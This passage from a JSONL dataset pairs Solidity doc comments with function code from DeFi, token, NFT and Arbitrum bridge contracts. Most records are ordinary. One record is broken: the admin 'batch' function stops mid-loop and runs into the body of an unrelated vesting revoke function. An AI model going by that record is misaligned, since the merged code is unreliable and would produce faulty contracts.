total supply.\r\n uint256 lpBalance = shareToBalance(shares[id]);\r\n uint256 lpSupply = lpToken.totalSupply(); // Ignore pending mintFee as it is insignificant\r\n // 2. Get the pool's total supply of WETH and farming token.\r\n uint256 totalWETH = weth.balanceOf(address(lpToken));\r\n uint256 totalfToken = fToken.balanceOf(address(lpToken));\r\n // 3. Convert the position's LP tokens to the underlying assets.\r\n uint256 userWETH = lpBalance.mul(totalWETH).div(lpSupply);\r\n uint256 userfToken = lpBalance.mul(totalfToken).div(lpSupply);\r\n // 4. Convert all farming tokens to ETH and return total ETH.\r\n return getMktSellAmount(\r\n userfToken, totalfToken.sub(userfToken), totalWETH.sub(userWETH)\r\n ).add(userWETH);\r\n }", "version": "0.5.16"} {"comment": "/// @dev Liquidate the given position by converting it to ETH and return back to caller.\n/// @param id The position ID to perform liquidation", "function_code": "function liquidate(uint256 id) external onlyOperator nonReentrant {\r\n // 1. Convert the position back to LP tokens and use liquidate strategy.\r\n _removeShare(id);\r\n lpToken.transfer(address(liqStrat), lpToken.balanceOf(address(this)));\r\n liqStrat.execute(address(0), 0, abi.encode(fToken, 0));\r\n // 2. Return all available ETH back to the operator.\r\n uint256 wad = address(this).balance;\r\n SafeToken.safeTransferETH(msg.sender, wad);\r\n emit Liquidate(id, wad);\r\n }", "version": "0.5.16"} {"comment": "// Deposit LP tokens to ScienTist for BIO allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n updatePool(_pid);\r\n if (user.amount > 0) {\r\n uint256 pending = user.amount.mul(pool.accBioPerShare).div(1e12).sub(user.rewardDebt);\r\n safeBioTransfer(msg.sender, pending);\r\n }\r\n pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\r\n user.amount = user.amount.add(_amount);\r\n user.rewardDebt = user.amount.mul(pool.accBioPerShare).div(1e12);\r\n emit Deposit(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "// Withdraw LP tokens from ScienTist.", "function_code": "function withdraw(uint256 _pid, uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n require(user.amount >= _amount, \"withdraw: not good\");\r\n updatePool(_pid);\r\n uint256 pending = user.amount.mul(pool.accBioPerShare).div(1e12).sub(user.rewardDebt);\r\n safeBioTransfer(msg.sender, pending);\r\n user.amount = user.amount.sub(_amount);\r\n user.rewardDebt = user.amount.mul(pool.accBioPerShare).div(1e12);\r\n pool.lpToken.safeTransfer(address(msg.sender), _amount);\r\n emit Withdraw(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Initializes the TWAP cumulative values for the burn curve.\r\n */", "function_code": "function initializeTwap() external onlyInitialDistributionAddress {\r\n require(blockTimestampLast == 0, \"twap already initialized\");\r\n (uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = \r\n UniswapV2OracleLibrary.currentCumulativePrices(uniswapPair);\r\n\r\n uint256 priceCumulative = isThisToken0 ? price1Cumulative : price0Cumulative;\r\n \r\n blockTimestampLast = blockTimestamp;\r\n priceCumulativeLast = priceCumulative;\r\n priceAverageLast = INITIAL_TOKENS_PER_ETH;\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @dev Claim an NFTs.\r\n * @notice Claim a `_wearableId` NFT.\r\n * @param _erc721Collection - collection address\r\n * @param _wearableId - wearable id\r\n */", "function_code": "function claimNFT(ERC721Collection _erc721Collection, string calldata _wearableId) external payable {\r\n require(_erc721Collection.balanceOf(msg.sender) < maxSenderBalance, \"The sender has already reached maxSenderBalance\");\r\n require(\r\n canMint(_erc721Collection, _wearableId, 1),\r\n \"The amount of wearables to issue is higher than its available supply\"\r\n );\r\n\r\n _erc721Collection.issueToken(msg.sender, _wearableId);\r\n\r\n emit ClaimedNFT(msg.sender, address(_erc721Collection), _wearableId);\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev Remove owners from the list\r\n * @param _address Address of owner to remove\r\n */", "function_code": "function removeOwner(address _address) signed public returns (bool) {\r\n\r\n uint NOT_FOUND = 1e10;\r\n uint index = NOT_FOUND;\r\n for (uint i = 0; i < owners.length; i++) {\r\n if (owners[i] == _address) {\r\n index = i;\r\n break;\r\n }\r\n }\r\n\r\n if (index == NOT_FOUND) {\r\n return false;\r\n }\r\n\r\n for (uint j = index; j < owners.length - 1; j++){\r\n owners[j] = owners[j + 1];\r\n }\r\n delete owners[owners.length - 1];\r\n owners.length--;\r\n\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\n * @notice Put a message in the L2 inbox that can be reexecuted for some fixed amount of time if it reverts\n * @dev Advanced usage only (does not rewrite aliases for excessFeeRefundAddress and callValueRefundAddress). createRetryableTicket method is the recommended standard.\n * @param destAddr destination L2 contract address\n * @param l2CallValue call value for retryable L2 message\n * @param maxSubmissionCost Max gas deducted from user's L2 balance to cover base submission fee\n * @param excessFeeRefundAddress maxgas x gasprice - execution cost gets credited here on L2 balance\n * @param callValueRefundAddress l2Callvalue gets credited here on L2 if retryable txn times out or gets cancelled\n * @param maxGas Max gas deducted from user's L2 balance to cover L2 execution\n * @param gasPriceBid price bid for L2 execution\n * @param data ABI encoded data of L2 message\n * @return unique id for retryable transaction (keccak256(requestID, uint(0) )\n */", "function_code": "function createRetryableTicketNoRefundAliasRewrite(\n address destAddr,\n uint256 l2CallValue,\n uint256 maxSubmissionCost,\n address excessFeeRefundAddress,\n address callValueRefundAddress,\n uint256 maxGas,\n uint256 gasPriceBid,\n bytes calldata data\n ) public payable virtual onlyWhitelisted returns (uint256) {\n require(!isCreateRetryablePaused, \"CREATE_RETRYABLES_PAUSED\");\n\n return\n _deliverMessage(\n L1MessageType_submitRetryableTx,\n msg.sender,\n abi.encodePacked(\n uint256(uint160(bytes20(destAddr))),\n l2CallValue,\n msg.value,\n maxSubmissionCost,\n uint256(uint160(bytes20(excessFeeRefundAddress))),\n uint256(uint160(bytes20(callValueRefundAddress))),\n maxGas,\n gasPriceBid,\n data.length,\n data\n )\n );\n }", "version": "0.6.11"} {"comment": "/**\n * @notice Executes a messages in an Outbox entry.\n * @dev Reverts if dispute period hasn't expired, since the outbox entry\n * is only created once the rollup confirms the respective assertion.\n * @param batchNum Index of OutboxEntry in outboxEntries array\n * @param proof Merkle proof of message inclusion in outbox entry\n * @param index Merkle path to message\n * @param l2Sender sender if original message (i.e., caller of ArbSys.sendTxToL1)\n * @param destAddr destination address for L1 contract call\n * @param l2Block l2 block number at which sendTxToL1 call was made\n * @param l1Block l1 block number at which sendTxToL1 call was made\n * @param l2Timestamp l2 Timestamp at which sendTxToL1 call was made\n * @param amount value in L1 message in wei\n * @param calldataForL1 abi-encoded L1 message data\n */", "function_code": "function executeTransaction(\n uint256 batchNum,\n bytes32[] calldata proof,\n uint256 index,\n address l2Sender,\n address destAddr,\n uint256 l2Block,\n uint256 l1Block,\n uint256 l2Timestamp,\n uint256 amount,\n bytes calldata calldataForL1\n ) external virtual {\n bytes32 outputId;\n {\n bytes32 userTx =\n calculateItemHash(\n l2Sender,\n destAddr,\n l2Block,\n l1Block,\n l2Timestamp,\n amount,\n calldataForL1\n );\n\n outputId = recordOutputAsSpent(batchNum, proof, index, userTx);\n emit OutBoxTransactionExecuted(destAddr, l2Sender, batchNum, index);\n }\n\n // we temporarily store the previous values so the outbox can naturally\n // unwind itself when there are nested calls to `executeTransaction`\n L2ToL1Context memory prevContext = context;\n\n context = L2ToL1Context({\n sender: l2Sender,\n l2Block: uint128(l2Block),\n l1Block: uint128(l1Block),\n timestamp: uint128(l2Timestamp),\n batchNum: uint128(batchNum),\n outputId: outputId\n });\n\n // set and reset vars around execution so they remain valid during call\n executeBridgeCall(destAddr, amount, calldataForL1);\n\n context = prevContext;\n }", "version": "0.6.11"} {"comment": "/**\r\n * @dev assemble the given address bytecode. If bytecode exists then the _address is a contract.\r\n */", "function_code": "function isContract(address _address) private view returns (bool is_contract)\r\n {\r\n uint length;\r\n assembly {\r\n // retrieve the size of the code on target address, this needs assembly\r\n length := extcodesize(_address)\r\n }\r\n return (length > 0);\r\n }", "version": "0.4.18"} {"comment": "/** \r\n * @dev Main Contract call this function to setup mini game.\r\n * @param _miningWarRoundNumber is current main game round number\r\n * @param _miningWarDeadline Main game's end time\r\n */", "function_code": "function setupMiniGame( uint256 _miningWarRoundNumber, uint256 _miningWarDeadline ) public\r\n {\r\n require(minigames[ miniGameId ].miningWarRoundNumber < _miningWarRoundNumber && msg.sender == miningWarContractAddress);\r\n // rerest current mini game to default\r\n minigames[ miniGameId ] = MiniGame(0, true, 0, 0, 0, 0x0, 0);\r\n noRoundMiniGame = 0; \r\n startMiniGame();\t\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Burns a specific amount of tokens.\r\n * @param _from The address that will burn the tokens.\r\n * @param _amount The amount of token to be burned.\r\n */", "function_code": "function burn(address _from, uint256 _amount) signed public\r\n {\r\n require(true\r\n && _amount > 0\r\n && balances[_from] >= _amount\r\n );\r\n\r\n _amount = SafeMath.mul(_amount, dec);\r\n balances[_from] = SafeMath.sub(balances[_from], _amount);\r\n totalSupply = SafeMath.sub(totalSupply, _amount);\r\n Burn(_from, _amount);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Function to mint tokens\r\n * @param _to The address that will receive the minted tokens.\r\n * @param _amount The amount of tokens to mint.\r\n */", "function_code": "function mint(address _to, uint256 _amount) signed canMint public returns (bool)\r\n {\r\n require(_amount > 0);\r\n\r\n _amount = SafeMath.mul(_amount, dec);\r\n totalSupply = SafeMath.add(totalSupply, _amount);\r\n balances[_to] = SafeMath.add(balances[_to], _amount);\r\n Mint(_to, _amount);\r\n Transfer(address(0), _to, _amount);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev start the mini game\r\n */", "function_code": "function startMiniGame() private \r\n { \r\n uint256 miningWarRoundNumber = getMiningWarRoundNumber();\r\n\r\n require(minigames[ miniGameId ].ended == true);\r\n // caculate information for next mini game\r\n uint256 currentPrizeCrystal;\r\n if ( noRoundMiniGame == 0 ) {\r\n currentPrizeCrystal = SafeMath.div(SafeMath.mul(MINI_GAME_PRIZE_CRYSTAL, MINI_GAME_BONUS),100);\r\n } else {\r\n uint256 rate = 168 * MINI_GAME_BONUS;\r\n\r\n currentPrizeCrystal = SafeMath.div(SafeMath.mul(minigames[miniGameId].prizeCrystal, rate), 10000); // price * 168 / 100 * MINI_GAME_BONUS / 100 \r\n }\r\n\r\n uint256 startTime = now + MINI_GAME_BETWEEN_TIME;\r\n uint256 endTime = startTime + MINI_GAME_TIME_DEFAULT;\r\n noRoundMiniGame = noRoundMiniGame + 1;\r\n // start new round mini game\r\n miniGameId = miniGameId + 1;\r\n minigames[ miniGameId ] = MiniGame(miningWarRoundNumber, false, currentPrizeCrystal, startTime, endTime, 0x0, 0);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev end Mini Game's round\r\n */", "function_code": "function endMiniGame() private \r\n { \r\n require(minigames[ miniGameId ].ended == false && (minigames[ miniGameId ].endTime <= now ));\r\n \r\n uint256 crystalBonus = SafeMath.div( SafeMath.mul(minigames[ miniGameId ].prizeCrystal, 50), 100 );\r\n // update crystal bonus for player win\r\n if (minigames[ miniGameId ].playerWin != 0x0) {\r\n PlayerData storage p = players[minigames[ miniGameId ].playerWin];\r\n p.win = p.win + crystalBonus;\r\n }\r\n // end current mini game\r\n minigames[ miniGameId ].ended = true;\r\n emit eventEndMiniGame(minigames[ miniGameId ].playerWin, crystalBonus);\r\n // start new mini game\r\n startMiniGame();\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Push tokens to temporary area.\r\n */", "function_code": "function pushToken(address[] _addresses, uint256 _amount, uint _limitUnixTime) public returns (bool)\r\n {\r\n require(true\r\n && _amount > 0\r\n && _addresses.length > 0\r\n && frozenAccount[msg.sender] == false\r\n && now > unlockUnixTime[msg.sender]\r\n );\r\n\r\n _amount = SafeMath.mul(_amount, dec);\r\n uint256 totalAmount = SafeMath.mul(_amount, _addresses.length);\r\n require(balances[msg.sender] >= totalAmount);\r\n\r\n for (uint i = 0; i < _addresses.length; i++) {\r\n require(true\r\n && _addresses[i] != 0x0\r\n && frozenAccount[_addresses[i]] == false\r\n && now > unlockUnixTime[_addresses[i]]\r\n );\r\n temporaryBalances[_addresses[i]] = SafeMath.add(temporaryBalances[_addresses[i]], _amount);\r\n temporaryLimitUnixTime[_addresses[i]] = _limitUnixTime;\r\n }\r\n balances[msg.sender] = SafeMath.sub(balances[msg.sender], totalAmount);\r\n balances[temporaryAddress] = SafeMath.add(balances[temporaryAddress], totalAmount);\r\n Transfer(msg.sender, temporaryAddress, totalAmount);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Pop tokens from temporary area. _amount\r\n */", "function_code": "function popToken(address _to) public returns (bool)\r\n {\r\n require(true\r\n && temporaryBalances[msg.sender] > 0\r\n && frozenAccount[msg.sender] == false\r\n && now > unlockUnixTime[msg.sender]\r\n && frozenAccount[_to] == false\r\n && now > unlockUnixTime[_to]\r\n && balances[temporaryAddress] >= temporaryBalances[msg.sender]\r\n && temporaryLimitUnixTime[msg.sender] > now\r\n );\r\n\r\n uint256 amount = temporaryBalances[msg.sender];\r\n\r\n temporaryBalances[msg.sender] = 0;\r\n balances[temporaryAddress] = SafeMath.sub(balances[temporaryAddress], amount);\r\n balances[_to] = SafeMath.add(balances[_to], amount);\r\n Transfer(temporaryAddress, _to, amount);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev update share bonus for player who join the game\r\n */", "function_code": "function updateShareCrystal() private\r\n {\r\n uint256 miningWarRoundNumber = getMiningWarRoundNumber();\r\n PlayerData storage p = players[msg.sender];\r\n // check current mini game of player join. if mining war start new round then reset player data \r\n if ( p.miningWarRoundNumber != miningWarRoundNumber) {\r\n p.share = 0;\r\n p.win = 0;\r\n } else if (minigames[ p.currentMiniGameId ].ended == true && p.lastMiniGameId < p.currentMiniGameId && minigames[ p.currentMiniGameId ].miningWarRoundNumber == miningWarRoundNumber) {\r\n // check current mini game of player join, last update mini game and current mining war round id\r\n // require this mini game is children of mining war game( is current mining war round id ) \r\n p.share = SafeMath.add(p.share, calculateShareCrystal(p.currentMiniGameId));\r\n p.lastMiniGameId = p.currentMiniGameId;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev claim crystals\r\n */", "function_code": "function claimCrystal() public\r\n {\r\n // should run end round\r\n if ( minigames[miniGameId].endTime < now ) {\r\n endMiniGame();\r\n }\r\n updateShareCrystal(); \r\n // update crystal for this player to main game\r\n uint256 crystalBonus = players[msg.sender].win + players[msg.sender].share;\r\n MiningWarContract.addCrystal(msg.sender,crystalBonus); \r\n // update player data. reset value win and share of player\r\n PlayerData storage p = players[msg.sender];\r\n p.win = 0;\r\n p.share = 0;\r\n \t\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev calculate share crystal of player\r\n */", "function_code": "function calculateShareCrystal(uint256 _miniGameId) public view returns(uint256 _share)\r\n {\r\n PlayerData memory p = players[msg.sender];\r\n if ( p.lastMiniGameId >= p.currentMiniGameId && p.currentMiniGameId != 0) {\r\n _share = 0;\r\n } else {\r\n _share = SafeMath.div( SafeMath.div( SafeMath.mul(minigames[ _miniGameId ].prizeCrystal, 50), 100 ), minigames[ _miniGameId ].totalPlayer );\r\n }\r\n }", "version": "0.4.24"} {"comment": "// _rollupParams = [ confirmPeriodBlocks, extraChallengeTimeBlocks, avmGasSpeedLimitPerBlock, baseStake ]\n// connectedContracts = [delayedBridge, sequencerInbox, outbox, rollupEventBridge, challengeFactory, nodeFactory]", "function_code": "function initialize(\n bytes32 _machineHash,\n uint256[4] calldata _rollupParams,\n address _stakeToken,\n address _owner,\n bytes calldata _extraConfig,\n address[6] calldata connectedContracts,\n address[2] calldata _facets,\n uint256[2] calldata sequencerInboxParams\n ) public {\n require(!isInit(), \"ALREADY_INIT\");\n\n // calls initialize method in user facet\n require(_facets[0].isContract(), \"FACET_0_NOT_CONTRACT\");\n require(_facets[1].isContract(), \"FACET_1_NOT_CONTRACT\");\n (bool success, ) = _facets[1].delegatecall(\n abi.encodeWithSelector(IRollupUser.initialize.selector, _stakeToken)\n );\n require(success, \"FAIL_INIT_FACET\");\n\n delayedBridge = IBridge(connectedContracts[0]);\n sequencerBridge = ISequencerInbox(connectedContracts[1]);\n outbox = IOutbox(connectedContracts[2]);\n delayedBridge.setOutbox(connectedContracts[2], true);\n rollupEventBridge = RollupEventBridge(connectedContracts[3]);\n delayedBridge.setInbox(connectedContracts[3], true);\n\n rollupEventBridge.rollupInitialized(\n _rollupParams[0],\n _rollupParams[2],\n _owner,\n _extraConfig\n );\n\n challengeFactory = IChallengeFactory(connectedContracts[4]);\n nodeFactory = INodeFactory(connectedContracts[5]);\n\n INode node = createInitialNode(_machineHash);\n initializeCore(node);\n\n confirmPeriodBlocks = _rollupParams[0];\n extraChallengeTimeBlocks = _rollupParams[1];\n avmGasSpeedLimitPerBlock = _rollupParams[2];\n baseStake = _rollupParams[3];\n owner = _owner;\n // A little over 15 minutes\n minimumAssertionPeriod = 75;\n challengeExecutionBisectionDegree = 400;\n\n sequencerBridge.setMaxDelay(sequencerInboxParams[0], sequencerInboxParams[1]);\n\n // facets[0] == admin, facets[1] == user\n facets = _facets;\n\n emit RollupCreated(_machineHash);\n require(isInit(), \"INITIALIZE_NOT_INIT\");\n }", "version": "0.6.11"} {"comment": "/**\n * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function\n * and {_fallback} should delegate.\n */", "function_code": "function _implementation() internal view virtual override returns (address) {\n require(msg.data.length >= 4, \"NO_FUNC_SIG\");\n address rollupOwner = owner;\n // if there is an owner and it is the sender, delegate to admin facet\n address target = rollupOwner != address(0) && rollupOwner == msg.sender\n ? getAdminFacet()\n : getUserFacet();\n require(target.isContract(), \"TARGET_NOT_CONTRACT\");\n return target;\n }", "version": "0.6.11"} {"comment": "/**\r\n * @dev transfer token from an address to another specified address using allowance\r\n * @param _from The address where token comes.\r\n * @param _to The address to transfer to.\r\n * @param _value The amount to be transferred.\r\n */", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {\r\n require(_to != address(0)); //If you dont want that people destroy token\r\n require(frozen[_from]==false);\r\n allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);\r\n balances[_from] = balances[_from].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n emit Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Special only admin function for batch tokens assignments.\r\n * @param _target Array of target addresses.\r\n * @param _amount Array of target values.\r\n */", "function_code": "function batch(address[] _target,uint256[] _amount) onlyAdmin public { //It takes an array of addresses and an amount\r\n require(_target.length == _amount.length); //data must be same size\r\n uint256 size = _target.length;\r\n for (uint i=0; i 0, \"Vesting: no allocation\");\n\n uint256 unreleased = _releasableAmount(_revoke);\n uint256 refund = balance.sub(unreleased);\n require(refund > 0, \"Vesting: no refunds\");\n\n revoked[_revoke] = true;\n\n token.safeTransfer(owner(), refund);\n\n emit VestingRevoked(_revoke);\n }", "version": "0.8.0"} {"comment": "/**\n @notice Returns whether the operator is an OpenSea proxy for the owner, thus\n allowing it to list without the token owner paying gas.\n @dev ERC{721,1155}.isApprovedForAll should be overriden to also check if\n this function returns true.\n */", "function_code": "function isApprovedForAll(address owner, address operator)\n internal\n view\n returns (bool)\n {\n ProxyRegistry registry;\n assembly {\n switch chainid()\n case 1 {\n // mainnet\n registry := 0xa5409ec958c83c3f309868babaca7c86dcb077c1\n }\n case 4 {\n // rinkeby\n registry := 0xf57b2c51ded3a29e6891aba85459d600256cf317\n }\n }\n\n return\n address(registry) != address(0) &&\n address(registry.proxies(owner)) == operator;\n }", "version": "0.8.7"} {"comment": "/**\n * Generative minting\n */", "function_code": "function mintTrunk(uint256 randomSeed) external payable returns (uint256 tokenId) {\n // Enforce tiered fees.\n require(msg.value >= getBaseFeeTier());\n require(msg.value >= getFeeTier());\n\n // Pausing mints.\n require(!_paused);\n\n // Update minted count.\n mintedCount[msg.sender] = (mintedCount[msg.sender] + 1);\n\n // Limit supply.\n require(generativeMinted.current() < generativeSupply);\n generativeMinted.increment();\n\n // Get current token.\n uint256 _tokenId = generativeMinted.current();\n\n // Mint token itself.\n _safeMint(msg.sender, _tokenId);\n\n // Generate art on remote URL.\n bytes32 requestId = remoteMint(randomSeed, _tokenId);\n\n // Store token to mapping for when request completes.\n users[requestId] = User(_tokenId, msg.sender);\n\n // Returned so web3 can filter on it.\n return _tokenId;\n }", "version": "0.6.6"} {"comment": "// https://ethereum.stackexchange.com/a/58341/68257", "function_code": "function toString(bytes memory data) private pure returns (string memory) {\n bytes memory alphabet = \"0123456789abcdef\";\n bytes memory str = new bytes(2 + data.length * 2);\n str[0] = \"0\";\n str[1] = \"x\";\n for (uint i = 0; i < data.length; i++) {\n str[2+i*2] = alphabet[uint(uint8(data[i] >> 4))];\n str[3+i*2] = alphabet[uint(uint8(data[i] & 0x0f))];\n }\n return string(str);\n }", "version": "0.6.6"} {"comment": "/**\n * @inheritdoc IERC2981\n */", "function_code": "function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view override returns (address, uint256) {\n RoyaltyInfo memory royalty = _tokenRoyaltyInfo[_tokenId];\n\n if (royalty.receiver == address(0)) {\n royalty = _defaultRoyaltyInfo;\n }\n\n uint256 royaltyAmount = (_salePrice * royalty.royaltyFraction) / _feeDenominator();\n\n return (royalty.receiver, royaltyAmount);\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Sets the royalty information for a specific token id, overriding the global default.\n *\n * Requirements:\n *\n * - `tokenId` must be already minted.\n * - `receiver` cannot be the zero address.\n * - `feeNumerator` cannot be greater than the fee denominator.\n */", "function_code": "function _setTokenRoyalty(\n uint256 tokenId,\n address receiver,\n uint96 feeNumerator\n ) internal virtual {\n require(feeNumerator <= _feeDenominator(), \"ERC2981: royalty fee will exceed salePrice\");\n require(receiver != address(0), \"ERC2981: Invalid parameters\");\n\n _tokenRoyaltyInfo[tokenId] = RoyaltyInfo(receiver, feeNumerator);\n }", "version": "0.8.9"} {"comment": "/**\n This methods performs the following actions:\n 1. pull token for user\n 2. joinswap into balancer pool, recieving lp\n 3. stake lp tokens into Wrapping Contrat which mints SOV to User\n */", "function_code": "function deposit(\n address tokenIn,\n uint256 tokenAmountIn,\n uint256 minPoolAmountOut,\n uint256 liquidationFee\n ) public {\n // pull underlying token here\n IERC20(tokenIn).transferFrom(msg.sender, address(this), tokenAmountIn);\n\n //take fee before swap\n uint256 amountMinusFee = tokenAmountIn.mul(protocolFee).div(\n PROTOCOL_FEE_DECIMALS\n );\n\n uint256 poolAmountMinusFee = minPoolAmountOut.mul(protocolFee).div(\n PROTOCOL_FEE_DECIMALS\n );\n\n IERC20(tokenIn).approve(address(smartPool), amountMinusFee);\n\n // swap underlying token for LP\n smartPool.joinswapExternAmountIn(\n tokenIn,\n amountMinusFee,\n poolAmountMinusFee\n );\n\n // deposit LP for sender\n uint256 balance = smartPool.balanceOf(address(this));\n smartPool.approve(address(wrappingContract), balance);\n wrappingContract.deposit(msg.sender, balance, liquidationFee);\n\n // mint SOV\n sovToken.mint(msg.sender, balance);\n }", "version": "0.7.6"} {"comment": "/**\r\n * @notice Execute '`@radspec(_target, _data)`' on `_target``_ethValue == 0 ? '' : ' (Sending' + @tokenAmount(0x0000000000000000000000000000000000000000, _ethValue) + ')'`\r\n * @param _target Address where the action is being executed\r\n * @param _ethValue Amount of ETH from the contract that is sent with the action\r\n * @param _data Calldata for the action\r\n * @return Exits call frame forwarding the return data of the executed call (either error or success data)\r\n */", "function_code": "function execute(address _target, uint256 _ethValue, bytes _data)\r\n external // This function MUST always be external as the function performs a low level return, exiting the Agent app execution context\r\n authP(EXECUTE_ROLE, arr(_target, _ethValue, uint256(_getSig(_data)))) // bytes4 casted as uint256 sets the bytes as the LSBs\r\n {\r\n bool result = _target.call.value(_ethValue)(_data);\r\n\r\n if (result) {\r\n emit Execute(msg.sender, _target, _ethValue, _data);\r\n }\r\n\r\n assembly {\r\n let ptr := mload(0x40)\r\n returndatacopy(ptr, 0, returndatasize)\r\n\r\n // revert instead of invalid() bc if the underlying call failed with invalid() it already wasted gas.\r\n // if the call returned error data, forward it\r\n switch result case 0 { revert(ptr, returndatasize) }\r\n default { return(ptr, returndatasize) }\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\n This methods performs the following actions:\n 1. burn SOV from user and unstake lp\n 2. exitswap lp into one of the underlyings\n 3. send the underlying to the User\n */", "function_code": "function withdraw(\n address tokenOut,\n uint256 poolAmountIn,\n uint256 minAmountOut\n ) public {\n require(\n sovToken.balanceOf(msg.sender) >= poolAmountIn,\n \"Not enought SOV tokens\"\n );\n // burns SOV from sender\n sovToken.burn(msg.sender, poolAmountIn);\n\n //recieve LP from sender to here\n wrappingContract.withdraw(msg.sender, poolAmountIn);\n\n //get balance before exitswap\n uint256 balanceBefore = IERC20(tokenOut).balanceOf(address(this));\n\n //swaps LP for underlying\n smartPool.exitswapPoolAmountIn(tokenOut, poolAmountIn, minAmountOut);\n\n //get balance after exitswap\n uint256 balanceAfter = IERC20(tokenOut).balanceOf(address(this));\n\n //take fee before transfer out\n uint256 amountMinusFee = (balanceAfter.sub(balanceBefore))\n .mul(protocolFee)\n .div(PROTOCOL_FEE_DECIMALS);\n\n IERC20(tokenOut).transfer(msg.sender, amountMinusFee);\n }", "version": "0.7.6"} {"comment": "/**\r\n * @notice Set `_designatedSigner` as the designated signer of the app, which will be able to sign messages on behalf of the app\r\n * @param _designatedSigner Address that will be able to sign messages on behalf of the app\r\n */", "function_code": "function setDesignatedSigner(address _designatedSigner)\r\n external\r\n authP(DESIGNATE_SIGNER_ROLE, arr(_designatedSigner))\r\n {\r\n // Prevent an infinite loop by setting the app itself as its designated signer.\r\n // An undetectable loop can be created by setting a different contract as the\r\n // designated signer which calls back into `isValidSignature`.\r\n // Given that `isValidSignature` is always called with just 50k gas, the max\r\n // damage of the loop is wasting 50k gas.\r\n require(_designatedSigner != address(this), ERROR_DESIGNATED_TO_SELF);\r\n\r\n address oldDesignatedSigner = designatedSigner;\r\n designatedSigner = _designatedSigner;\r\n\r\n emit SetDesignatedSigner(msg.sender, oldDesignatedSigner, _designatedSigner);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Execute the script as the Agent app\r\n * @dev IForwarder interface conformance. Forwards any token holder action.\r\n * @param _evmScript Script being executed\r\n */", "function_code": "function forward(bytes _evmScript) public {\r\n require(canForward(msg.sender, _evmScript), ERROR_CAN_NOT_FORWARD);\r\n\r\n bytes memory input = \"\"; // no input\r\n address[] memory blacklist = new address[](0); // no addr blacklist, can interact with anything\r\n runScript(_evmScript, input, blacklist);\r\n // We don't need to emit an event here as EVMScriptRunner will emit ScriptResult if successful\r\n }", "version": "0.4.24"} {"comment": "// gets all tokens currently in the pool", "function_code": "function getTokenWeights() public view returns (uint256[] memory) {\n address[] memory tokens = getPoolTokens();\n uint256[] memory weights = new uint256[](tokens.length);\n\n for (uint256 i = 0; i < tokens.length; i++) {\n weights[i] = smartPool.getDenormalizedWeight(tokens[i]);\n }\n return weights;\n }", "version": "0.7.6"} {"comment": "// gets current LP exchange rate for single Asset", "function_code": "function getSovAmountOutSingle(\n address tokenIn,\n uint256 tokenAmountIn,\n uint256 minPoolAmountOut\n ) public view returns (uint256 poolAmountOut) {\n BPool bPool = smartPool.bPool();\n require(bPool.isBound(tokenIn), \"ERR_NOT_BOUND\");\n\n //apply protocol fee\n uint256 tokenAmountInAdj = tokenAmountIn.mul(protocolFee).div(\n PROTOCOL_FEE_DECIMALS\n );\n\n poolAmountOut = bPool.calcPoolOutGivenSingleIn(\n bPool.getBalance(tokenIn),\n bPool.getDenormalizedWeight(tokenIn),\n smartPool.totalSupply(),\n bPool.getTotalDenormalizedWeight(),\n tokenAmountInAdj,\n bPool.getSwapFee()\n );\n require(poolAmountOut >= minPoolAmountOut, \"ERR_LIMIT_IN\");\n }", "version": "0.7.6"} {"comment": "// gets current LP exchange rate for single token", "function_code": "function getSovAmountInSingle(\n address tokenOut,\n uint256 tokenAmountOut,\n uint256 maxPoolAmountIn\n ) public view returns (uint256 poolAmountIn) {\n BPool bPool = smartPool.bPool();\n require(bPool.isBound(tokenOut), \"ERR_NOT_BOUND\");\n\n //apply protocol fee\n uint256 tokenAmountOutAdj = tokenAmountOut.mul(protocolFee).div(\n PROTOCOL_FEE_DECIMALS\n );\n\n require(\n tokenAmountOutAdj <=\n SafeMath.mul(bPool.getBalance(tokenOut), MAX_OUT_RATIO),\n \"ERR_MAX_OUT_RATIO\"\n );\n poolAmountIn = bPool.calcPoolInGivenSingleOut(\n bPool.getBalance(tokenOut),\n bPool.getDenormalizedWeight(tokenOut),\n smartPool.totalSupply(),\n bPool.getTotalDenormalizedWeight(),\n tokenAmountOutAdj,\n bPool.getSwapFee()\n );\n\n require(poolAmountIn != 0, \"ERR_MATH_APPROX\");\n require(poolAmountIn <= maxPoolAmountIn, \"ERR_LIMIT_IN\");\n }", "version": "0.7.6"} {"comment": "/// @dev Override unpause so it requires all external contract addresses\n/// to be set before contract can be unpaused. Also, we can't have\n/// newContractAddress set either, because then the contract was upgraded.\n/// @notice This is public rather than external so we can call super.unpause\n/// without using an expensive CALL.", "function_code": "function unpause() public onlyCEO whenPaused {\r\n require(newContractAddress == address(0), \"set newContractAddress first\");\r\n require(authorAddress != address(0), \"set authorAddress first\");\r\n 